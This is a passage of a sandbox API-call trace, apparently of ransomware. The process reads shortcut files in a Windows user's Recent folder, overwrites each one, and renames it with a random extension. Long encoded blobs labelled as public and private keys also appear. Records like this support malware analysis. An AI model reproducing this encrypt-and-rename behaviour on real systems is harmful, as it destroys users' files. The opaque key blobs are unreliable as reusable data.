qjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0081.396] GetCurrentThreadId () returned 0xa30 [0081.396] GetCurrentThreadId () returned 0xa30 [0081.396] GetCurrentThreadId () returned 0xa30 [0081.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.397] GetCurrentThreadId () returned 0xa30 [0081.397] GetCurrentThreadId () returned 0xa30 [0081.397] GetCurrentThreadId () returned 0xa30 [0081.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfW70azs-Ha7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ffw70azs-ha7.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.397] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.397] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.397] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3fc [0081.397] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.398] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3fc, lpOverlapped=0x0) returned 1 [0081.399] CloseHandle (hObject=0x124) returned 1 [0081.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfW70azs-Ha7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ffw70azs-ha7.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.401] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3fc, lpOverlapped=0x0) returned 1 [0081.402] CloseHandle (hObject=0x124) returned 1 [0081.412] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfW70azs-Ha7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ffw70azs-ha7.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfW70azs-Ha7.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ffw70azs-ha7.lnk.zv7un")) returned 1 [0081.413] GetCurrentThreadId () returned 0xa30 [0081.413] GetCurrentThreadId () returned 0xa30 [0081.414] GetCurrentThreadId () returned 0xa30 [0081.414] GetCurrentThreadId () returned 0xa30 [0081.414] GetCurrentThreadId () returned 0xa30 [0081.414] GetCurrentThreadId () returned 0xa30 [0081.414] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a09980, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3cbc2740, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3cbc2740, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x13b9, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="FmpsaQJLUMaR.lnk", cAlternateFileName="FMPSAQ~1.LNK")) returned 1 [0081.414] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.414] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.414] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FmpsaQJLUMaR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fmpsaqjlumar.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a09980, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3cbc2740, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3cbc2740, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x13b9)) returned 1 [0081.414] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FmpsaQJLUMaR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fmpsaqjlumar.lnk")) returned 0x20 [0081.414] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FmpsaQJLUMaR.lnk", dwFileAttributes=0x80) returned 1 [0081.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.416] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.417] GetCurrentThreadId () returned 0xa30 [0081.417] GetCurrentThreadId () returned 0xa30 [0081.417] GetCurrentThreadId () returned 0xa30 [0081.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCnc